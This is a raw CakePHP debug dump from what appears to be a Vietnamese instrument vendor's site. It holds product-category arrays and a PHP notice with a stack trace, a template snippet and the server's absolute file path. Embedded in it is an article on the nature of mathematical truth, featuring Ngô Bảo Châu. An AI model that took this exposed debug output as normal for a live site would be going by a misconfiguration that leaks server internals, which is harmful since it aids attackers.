'images' => '201907040254500acecb86d3b3fab2fea045403bedfb1f.png',
'lft' => '48',
'rght' => '49',
'pos' => '12',
'status' => '1',
'title_seo' => 'Máy đo mực nước Stevens',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'ma-y-do-mu-c-nuo-c-stevens',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 12 => array(
'Catproduct' => array(
'id' => '61',
'name' => 'Nhiệt kế cong SavinopWQG-16(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-cong-savinopwqg-16-t-q',
'images' => '201907040255588263b1a656f8075154d99a42ee877872.png',
'lft' => '50',
'rght' => '51',
'pos' => '13',
'status' => '1',
'title_seo' => 'Nhiệt kế cong ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-ke-cong-savinopwqg-16-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 13 => array(
'Catproduct' => array(
'id' => '62',
'name' => 'Bộ ẩm biểu lều',
'parent_id' => '2',
'alias' => 'bo-am-bieu-leu',
'images' => '20190704025648375115691c98b7200afab84e7d0250cb.png',
'lft' => '52',
'rght' => '53',
'pos' => '14',
'status' => '1',
'title_seo' => 'Bộ ẩm biểu lều',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'bo-am-bieu-leu',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 14 => array(
'Catproduct' => array(
'id' => '63',
'name' => 'Nhiệt kế nước WQG -14(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-nuoc-wqg-14-t-q',
'images' => '20190704025730f1017c1c7ca672a0b82961a6d2c5bab8.png',
'lft' => '54',
'rght' => '55',
'pos' => '15',
'status' => '1',
'title_seo' => 'Nhiệt kế nước ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-ke-nuoc-wqg-14-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 15 => array(
'Catproduct' => array(
'id' => '64',
'name' => 'Nhiệt biểu nước ',
'parent_id' => '2',
'alias' => 'nhiet-bieu-nuoc',
'images' => '20190704025757b88f868b4fbad212e795bc0f88d414a0.png',
'lft' => '56',
'rght' => '57',
'pos' => '16',
'status' => '1',
'title_seo' => 'Nhiệt biểu nước ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'nhiet-bieu-nuoc',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 16 => array(
'Catproduct' => array(
'id' => '65',
'name' => 'Thủy chí tráng men',
'parent_id' => '2',
'alias' => 'thuy-chi-trang-men',
'images' => '2019070402584460e02fd9633a6c2500d5d0fc371f21e0.png',
'lft' => '58',
'rght' => '59',
'pos' => '17',
'status' => '1',
'title_seo' => 'Thủy chí tráng men',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'thuy-chi-trang-men',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 17 => array(
'Catproduct' => array(
'id' => '66',
'name' => 'Bộ Vũ lượng kế',
'parent_id' => '2',
'alias' => 'bo-vu-luong-ke',
'images' => '201907040259161485d37437ef53393ba9ed00d132c8ac.png',
'lft' => '60',
'rght' => '61',
'pos' => '18',
'status' => '1',
'title_seo' => 'Bộ Vũ lượng kế',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-04',
'modified' => '2019-07-04',
'slug' => 'bo-vu-luong-ke',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 18 => array(
'Catproduct' => array(
'id' => '7',
'name' => 'Máy toàn đạc điện tử',
'parent_id' => '2',
'alias' => 'may-toan-dac-dien-tu',
'images' => '201512310222411933736057242698a51c04e3a09f1e5f.png',
'lft' => '4',
'rght' => '5',
'pos' => '19',
'status' => '1',
'title_seo' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội',
'meta_key' => 'Máy toàn đạc, may toan dac, máy toàn đạc điện tử, máy toàn đạc điện tử chính hãng, máy toàn đạc điện tử chính hãng tại hà nội',
'meta_des' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội. Thành Đạt chuyên phân phối máy toàn đạc chính hãng với giá rẻ nhất, chất lượng nhất tại Việt Nam',
'created' => '2015-12-02',
'modified' => '2016-01-06',
'slug' => 'may-toan-dac-dien-tu',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => 'May toan dac dien tu',
'name_tq' => '',
'type' => 'product',
'hot' => '1',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 19 => array(
'Catproduct' => array(
'id' => '67',
'name' => 'Nhiệt kế tối cao WQG-13(TQ)',
'parent_id' => '2',
'alias' => 'nhiet-ke-toi-cao-wqg-13-tq',
'images' => null,
'lft' => '62',
'rght' => '63',
'pos' => '20',
'status' => '1',
'title_seo' => 'Nhiệt kế tối cao',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-toi-cao-wqg-13-tq',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 20 => array(
'Catproduct' => array(
'id' => '68',
'name' => 'Nhiệt kế tối thấp WQG-18(TQ)',
'parent_id' => '2',
'alias' => 'nhiet-ke-toi-thap-wqg-18-tq',
'images' => null,
'lft' => '64',
'rght' => '65',
'pos' => '21',
'status' => '1',
'title_seo' => 'Nhiệt kế tối thấp ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-toi-thap-wqg-18-tq',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 21 => array(
'Catproduct' => array(
'id' => '69',
'name' => 'Nhiệt kế thường WQG-15(T.Q)',
'parent_id' => '2',
'alias' => 'nhiet-ke-thuong-wqg-15-t-q',
'images' => null,
'lft' => '66',
'rght' => '67',
'pos' => '22',
'status' => '1',
'title_seo' => 'Nhiệt kế thường',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'nhiet-ke-thuong-wqg-15-t-q',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 22 => array(
'Catproduct' => array(
'id' => '70',
'name' => 'Giản đồ Stevens',
'parent_id' => '2',
'alias' => 'gian-do-stevens',
'images' => null,
'lft' => '68',
'rght' => '69',
'pos' => '23',
'status' => '1',
'title_seo' => 'Giản đồ Stevens',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-stevens',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 23 => array(
'Catproduct' => array(
'id' => '71',
'name' => 'Giàn đồ nắng ',
'parent_id' => '2',
'alias' => 'gian-do-nang',
'images' => null,
'lft' => '70',
'rght' => '71',
'pos' => '24',
'status' => '1',
'title_seo' => 'Giàn đồ nắng ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-nang',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 24 => array(
'Catproduct' => array(
'id' => '72',
'name' => 'Giản đồ nhiệt ẩm áp ',
'parent_id' => '2',
'alias' => 'gian-do-nhiet-am-ap',
'images' => null,
'lft' => '72',
'rght' => '73',
'pos' => '25',
'status' => '1',
'title_seo' => 'Giản đồ nhiệt ẩm áp ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-nhiet-am-ap',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 25 => array(
'Catproduct' => array(
'id' => '73',
'name' => 'Giản đồ mưa ',
'parent_id' => '2',
'alias' => 'gian-do-mua',
'images' => null,
'lft' => '74',
'rght' => '75',
'pos' => '26',
'status' => '1',
'title_seo' => 'Giản đồ mưa ',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'gian-do-mua',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 26 => array(
'Catproduct' => array(
'id' => '74',
'name' => 'Sổ sách, báo biểu khí tượng thủy văn',
'parent_id' => '2',
'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van',
'images' => null,
'lft' => '76',
'rght' => '77',
'pos' => '27',
'status' => '1',
'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-07-06',
'modified' => '2019-07-06',
'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van',
'cate' => '4',
'link' => 'san-pham',
'name_eng' => '',
'name_tq' => '',
'type' => 'product',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)include - APP/View/Elements/menu.ctp, line 22 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không 